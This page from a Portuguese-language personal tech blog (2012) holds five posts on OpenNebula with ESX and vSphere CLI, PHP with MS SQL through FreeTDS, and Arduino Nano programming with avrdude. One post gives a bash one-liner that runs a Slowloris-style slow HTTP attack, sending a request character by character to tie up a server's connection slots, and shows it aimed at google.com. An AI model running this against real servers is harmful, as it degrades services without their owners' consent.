Search 

Opennebula + ESX, part #2 a saga continua 
Friday, July 06, 2012, 15:25
Posted by Administrator
Caros,

A libvirt que está empacotada no backports, e também a que está empacotada no testing, não vem com o suporte ao ESX, e portanto, por enquanto, estou utilizando a libvirt compilada a partir do source code do projeto.

apt-get install gcc make libxml2-dev libgnutls-dev libdevmapper-dev libcurl4-gnutls-dev libyajl-dev python-devel libnl-dev


Download do source

# wget http://libvirt.org/sources/libvirt-0.9.12.tar.gz
# tar xfvz libvirt-0.9.12.tar.gz
# cd libvirt-0.9.12
# ./configure --prefix=/usr/local/libvirt-0.9.12 --with-esx
# make
# make install


Testando

# virsh -c 'esx://192.168.1.1/?no_verity=1&auto_answer=1' --readonly nodeinfo


OpenNebula

Configurar as credenciais no /etc/one/vmwarerc, especificamente o username e password.

# su -l oneadmin
$ onehost list


Procurar o ID e o IP do host

/var/lib/one/remotes/im/run_probes vmware ID IP

exemplo:

/var/lib/one/remotes/im/run_probes vmware 12 192.168.1.1


Assim, o seu ambiente do opennebula, vai conseguir se entender com o ESX.

Até que consiga uma forma mais amigável de instalar, ficará esta mesmo.

referencia: http://www.gremwell.com/node/155

sds
Kl0nEz
add comment ( 17 views )   |  0 trackbacks   |  permalink   |   ( 2.9 / 16 )

Opennebula + vSphere CLI, Debian squeeze + backport 
Tuesday, July 03, 2012, 14:42
Posted by Administrator
Caros,

Estudando um pouquinho mais sobre cloud, segue abaixo um tuto para instalar o opennebula no debian squeze, usando o backports.

Caso queiram maiores informações sobre o sujeito, segue o link:

www.opennebula.org

# echo "deb http://backports.debian.org/debian-backports squeeze-backports main" >> /etc/apt/sources.list
# apt-get install opennebula
# passwd oneadmin
# su -l oneadmin
$ echo "oneadmin:teste" > ~/.one/one_auth
$ one start



vSphere CLI Debian

(source: http://www.digitalllama.net/2011/02/vmw ... ebian.html)

# tar xfvz VMware-vSphere-Perl-SDK-4.1.0-254719.i386.tar.gz
# apt-get install libxml-libxml-perl libssl-dev perl-doc
# echo ubuntu > /etc/temp-release
# cd vmware-vsphere-cli-distrib/
# ./vmware-install.pl
# rm /etc/temp-release


Somente para ficar o registro, caso esteja utilizando o Debian testing, também será necessário instalar os pacotes abaixo:

apt-get install libcrypt-ssleay-perl  libclass-methodmaker-perl libsoap-lite-perl



É isso,

sds
Kl0nEz
add comment ( 11 views )   |  0 trackbacks   |  permalink   |   ( 3.2 / 20 )

tcp slow feito em BASH 
Friday, April 27, 2012, 16:49
Posted by Administrator
Caros,

Segue abaixo uma "brincadeira" de socket em BASH. A idéia é fazer um tcp slow, onde o conteúdo vai sendo enviado "aos poucos", mantendo assim o slot de conexão "preso".

$ function tcp_slow () { exec 3<>/dev/tcp/$1/$2 ; for i in `echo "GET[$4/[HTTP/1.1" | sed -e 's/\(.\)/\1 /g'`; do echo -n $i| tr \[ " " >&3 ; sleep $3; done ; echo -e "\n\n" >&3 ; cat <&3; }
$ tcp_slow www.google.com 80 1 http://www.google.com.br


Divirtam-se, mas com responsabilidade

sds
Kl0nEz


add comment ( 40 views )   |  0 trackbacks   |  permalink   |   ( 2.9 / 21 )

Ms-sql server under linux with PHP 
Friday, March 30, 2012, 15:07
Posted by Administrator
Caros,

Para instalar o suporte para o php5 no Linux (Debian), bastam as seguintes ações;

# apt-get install freetds-bin php5-sybase


Preencher os campos

db alias
db_host_name_or_IP
db_port
database_server_version (look into -> http://www.freetds.org/userguide/choosi ... otocol.htm )

e adaptar o comando abaixo:

# echo "[db alias]
host = db_host_name_or_IP
port = db_port
tds version = database_server_version
" >> /etc/freetds/freetds.conf


Segue abaixo um exemplo de código em PHP para listar o resultado de uma consulta simples


<html>
<body>
<pre>
<?php
$db_conn = mssql_connect("db alias", "user", "pass")
or die( "<strong>ERROR: Connection to MYSERVER failed</strong>" );

mssql_select_db("database", $db_conn)
or die( "<strong>ERROR: Selecting database failed</strong>" );

$result = mssql_query("sql statment", $db_conn)
or die( "<strong>ERROR: Query failed</strong>" );


for ($i = 0; $i < mssql_num_rows( $result ); ++$i)
{
$line = mssql_fetch_row($result);
print( "$line[0] - $line[1]\n");
}


mssql_free_result( $result );
mssql_close( $db_conn );

?>
</pre>
</body>
</html>


é isso....


sds
Kl0nez
add comment ( 13 views )   |  0 trackbacks   |  permalink   |   ( 2.9 / 18 )

Arduino nano v3.0 and avrdude under LINUX e MacOSx 
Thursday, February 09, 2012, 10:58
Posted by Administrator
Caros,

Comprei um "arduino" lá na DX, este carinha aqui -> http://www.dealextreme.com/p/arduino-nano-v3-0-81877

Tive bastante dificuldade para conseguir programá-lo, pois o avrdude insistia em não conseguir comunicar com o bootloader, até que depois de bater um papo com o Xandinho (http://tabalabs.com.br/) ele me deu a maravilhosa idéia de testar outras velocidades na comunicação. Daí saiu a receitinha de bolo abaixo:

1 - Conectar na porta USB

Apertar o botão de reset do arduino

2 - Verificar como a porta foi maepada pelo FTDI USB.

$ dmesg 
[ 7956.136383] usb 3-1: new full speed USB device using ohci_hcd and address 3
[ 7956.314155] usb 3-1: New USB device found, idVendor=0403, idProduct=6001
[ 7956.314163] usb 3-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[ 7956.314170] usb 3-1: Product: FT232R USB UART
[ 7956.314175] usb 3-1: Manufacturer: FTDI
[ 7956.314178] usb 3-1: SerialNumber: A100OSXM
[ 7956.314381] usb 3-1: configuration #1 chosen from 1 choice
[ 7956.320309] ftdi_sio 3-1:1.0: FTDI USB Serial Device converter detected
[ 7956.320401] usb 3-1: Detected FT232RL
[ 7956.320407] usb 3-1: Number of endpoints 2
[ 7956.320412] usb 3-1: Endpoint 1 MaxPacketSize 64
[ 7956.320417] usb 3-1: Endpoint 2 MaxPacketSize 64
[ 7956.320421] usb 3-1: Setting MaxPacketSize 64
[ 7956.322269] usb 3-1: FTDI USB Serial Device converter now attached to ttyUSB0


Se observarem, no meu caso foi mapeado em /dev/ttyUSB0

3 - Testar usando o avrdude

$ sudo avrdude -p m328p -c avrisp -P /dev/ttyUSB0 -b 57600

avrdude: AVR device initialized and ready to accept instructions

Reading | ################################################## | 100% 0.02s

avrdude: Device signature = 0x1e950f

avrdude: safemode: Fuses OK

avrdude done. Thank you.


No MacOSX

1 - fazer download do pacote abaixo:

http://code.google.com/p/arduino/downlo ... n=2&q=

2 - Instalar o FTDIUSBSerialDriver

3 - Testar usando o avrdude

$ sudo avrdude -p m328p -c avrisp -P /dev/tty.usbserial-A100OSXM -b 57600

avrdude: AVR device initialized and ready to accept instructions

Reading | ################################################## | 100% 0.01s

avrdude: Device signature = 0x1e950f

avrdude: safemode: Fuses OK

avrdude done. Thank you.


ou

3.1 - Copiar o Arduino para o folder (pasta) Applications, caso queira usar a IDE do arduino.

sds
Kl0nez

referencias:
http://www.ladyada.net/library/arduino/bootloader.html
http://arduino.cc/en/Main/ArduinoBoardNano


add comment ( 9 views )   |  0 trackbacks   |  permalink   |   ( 3 / 17 )


<Back | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | Next> Last>>